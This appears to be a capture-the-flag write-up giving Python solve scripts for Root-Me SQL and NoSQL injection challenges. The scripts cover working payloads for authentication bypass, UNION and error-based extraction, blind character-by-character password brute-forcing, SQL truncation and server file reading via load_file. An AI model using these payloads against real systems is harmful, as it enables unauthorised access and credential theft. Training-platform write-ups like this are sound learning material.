SQL/NOSQL Challenge From Root-Me : Link #

SQL injection - Authentication - GBK#

Solution:#

1
#!/usr/bin/env python3
2

3
import requests
4

5
session = requests.session()
6

7
url = "http://challenge01.root-me.org:80/web-serveur/ch42/"
8
cookies = {"PHPSESSID": "d98371dbbf99fdd892c6aed10ba46eb4", "_ga_SRYSKX09J7": "GS1.1.1705855195.3.1.1705855314.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
9

10
data = {"login": "\xbf' or 1=1 -- -", "password": "admin"}
11

12
session.post(url, cookies=cookies, data=data, allow_redirects=True)
13
r = requests.get(url + "logged.php", cookies=cookies)
14
print(r.text)

SQL injection - String#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3
from bs4 import BeautifulSoup
4
url = "http://challenge01.root-me.org:80/web-serveur/ch19/?action=recherche"
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705858572.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6

7
pay = "asd' or id='1' union select password,username from users-- -+"
8
data = {"recherche": pay}
9
r = requests.post(url, cookies=cookies, data=data)
10

11
soup = BeautifulSoup(r.text, 'html.parser')
12
beautified_html = soup.prettify()
13
print(beautified_html)
14

15
print(r.text)

SQL injection - Numeric#

Solution:#

1
import requests
2
from bs4 import BeautifulSoup
3

4
url = "http://challenge01.root-me.org:80/web-serveur/ch18/?action=news&news_id="
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705859466.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6

7
sql = "2 UNION SELECT 5555,username,password from users"
8

9
r = requests.get(url + sql, cookies=cookies)
10

11
soup = BeautifulSoup(r.text, 'html.parser')
12
print(soup.prettify())
13
print(r.text)

NoSQL injection - Authentication#

Solution:#

1
#!/usr/bin/env python3
2

3
import string
4
import requests
5
import re
6

7
session = requests.session()
8

9
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705857779.4.1.1705860242.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
10

11
for i in string.printable:
12
    url = f"http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]={i}&pass[$ne]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
13
    r = session.get(url, cookies=cookies)
14
    if "Bad username or bad password !" not in r.text:
15
        matches = re.findall(r'flag{.*?}', r.text)
16
        for match in matches:
17
            print(match)
18
            exit(0)

SQL injection - Error#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3

4
url = 'http://challenge01.root-me.org/web-serveur/ch34/?action=contents&order=ASC,'
5

6
passwords = "p455w0rd_c0l"
7
usernames = "us3rn4m3_c0l"
8
tablename = "m3mbr35t4bl3"
9
for i in range(120):
10
    r = requests.get(url + f"(CAST((SELECT%20{usernames}%20FROM%20{tablename}%20LIMIT%201%20OFFSET%20{i})%20AS%20int))")
11
    if "You need to be authenticated to access records" not in r.text:
12
        print(r.text.replace("</body></html>", "").replace("<html><body>", "").replace("<br>", "\n"))
13

14
for i in range(120):
15
    r = requests.get(url + f"(CAST((SELECT%20{passwords}%20FROM%20{tablename}%20LIMIT%201%20OFFSET%20{i})%20AS%20int))")
16
    if "You need to be authenticated to access records" not in r.text:
17
        print(r.text.replace("</body></html>", "").replace("<html><body>", "").replace("<br>", "\n"))

Solution:#

1
#!/usr/bin/env python3
2
import requests, string
3

4
url = "http://challenge01.root-me.org:80/web-serveur/ch10/"
5
cookies = {"_ga_SRYSKX09J7": "GS1.1.1705863979.6.1.1705865439.0.0.0", "_ga": "GA1.1.1754628006.1705777800"}
6
username="admin"
7
password="e2azO93i"
8

9
def GetLength(username):
10
    for length in range(64):
11
        data = {"username": f"user1' AND (select LENGTH(password) from users where username='{username}' LIMIT 1)={length} --", "password": "z"}
12
        r = requests.post(url, cookies=cookies, data=data)
13
        print(f"Trying Length: {length} ")
14
        if "Welcome" in r.text:
15
            return length
16

17

18
def GetPass(username, length):
19
    password = ""
20
    for index in range(1, length + 1):
21
        print(password)
22
        for char in string.printable:
23
            data = {"username": f"user1' AND (SELECT SUBSTR(password,{index},1) FROM users WHERE username='{username}')='{char}' --", "password": "z"}
24
            r = requests.post(url, cookies=cookies, data=data)
25
            print(f"Trying Index: {index}, Char {char}")
26
            if "Welcome" in r.text:
27
                password += char
28
                break
29
    return password
30

31
passwd = GetPass(username, GetLength(username))
32
print(passwd)

SQL Truncation#

Solution:#

1
#!/usr/bin/env python3
2

3
import requests
4

5
## Source Code have:
6
# <!--
7
# CREATE TABLE IF NOT EXISTS user(
8
#   id INT NOT NULL AUTO_INCREMENT,
9
#     login VARCHAR(12),
10
#     password CHAR(32),
11
#     PRIMARY KEY (id));
12
# -->
13

14
url = "http://challenge01.root-me.org:80/web-serveur/ch36/register.php"
15

16
user = "admin               hihi" # > 12
17

18

19
data = {"login": user, "password": "sirsirsir"}
20

21
r = requests.post(url, data=data)
22

23
if "User save" in r.text:
24
    burp0_url = "http://challenge01.root-me.org:80/web-serveur/ch36/admin.php"
25
    burp0_data = {"password": "sirsirsir"}
26
    rr = requests.post(burp0_url, data=burp0_data)
27
    print(rr.text)

SQL injection - File reading#

Solution:#

1
#!/usr/bin/env python3
2
import requests
3

4

5

6
# Getting The admin encoded credentials
7
burp0_url = "http://challenge01.root-me.org:80/web-serveur/ch31/?action=members&id=1%20AND%201=2%20UNION%20ALL%20SELECT%20null,concat_ws(0x3a,member_id,member_login,member_password,member_email),null,version()%20from%20member--%20-+"
8

9
# r = requests.get(burp0_url)
10

11

12
# Reading The index.php to decode The password
13
file_to_read = "/challenge/web-serveur/ch31/index.php"
14
file_to_read_hex = file_to_read.encode().hex().upper()
15

16
payload = f" AND 1=2 UNION SELECT 1,2,3,load_file(0x{file_to_read_hex})--"
17

18
url = "http://challenge01.root-me.org:80/web-serveur/ch31/?action=members&id=1 " + payload
19
r = requests.get(url)
20
# print(r.text)
21

22
# decoding the password Using The key
23
import base64
24
def stringxor(o1, o2):
25
    res = ''
26
    for i in range(len(o1)):
27
        res += chr(ord(o1[i]) ^ ord(o2[i]))
28
    return res
29

30
key = "c92fcd618967933ac463feb85ba00d5a7ae52842" # from index.php
31
encrypted_data = "VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==" # from the database
32

33
decoded_data = base64.b64decode(encrypted_data).decode('utf-8')
34
result = stringxor(key, decoded_data)
35

36
# print(result)

Music

Music

SQL/NOSQL Challenge From Root-Me : Link #

SQL injection - Authentication - GBK#

Solution:#

SQL injection - String#

Solution:#

SQL injection - Numeric#

Solution:#

NoSQL injection - Authentication#

Solution:#

SQL injection - Error#

Solution:#

SQL injection - Blind#

Solution:#

SQL Truncation#

Solution:#

SQL injection - File reading#

Solution:#

Share Article

Music

Table of Contents

Music

Music

SQL / NoSQL Challenges (Root-Me): SQLi Auth Bypass, GBK, Blind NoSQL Injection

SQL/NOSQL Challenge From Root-Me : Link#

SQL injection - Authentication - GBK#

Solution:#

SQL injection - String#

Solution:#

SQL injection - Numeric#

Solution:#

NoSQL injection - Authentication#

Solution:#

SQL injection - Error#

Solution:#

SQL injection - Blind#

Solution:#

SQL Truncation#

Solution:#

SQL injection - File reading#

Solution:#

Share Article

Music

Table of Contents

SQL/NOSQL Challenge From Root-Me : Link #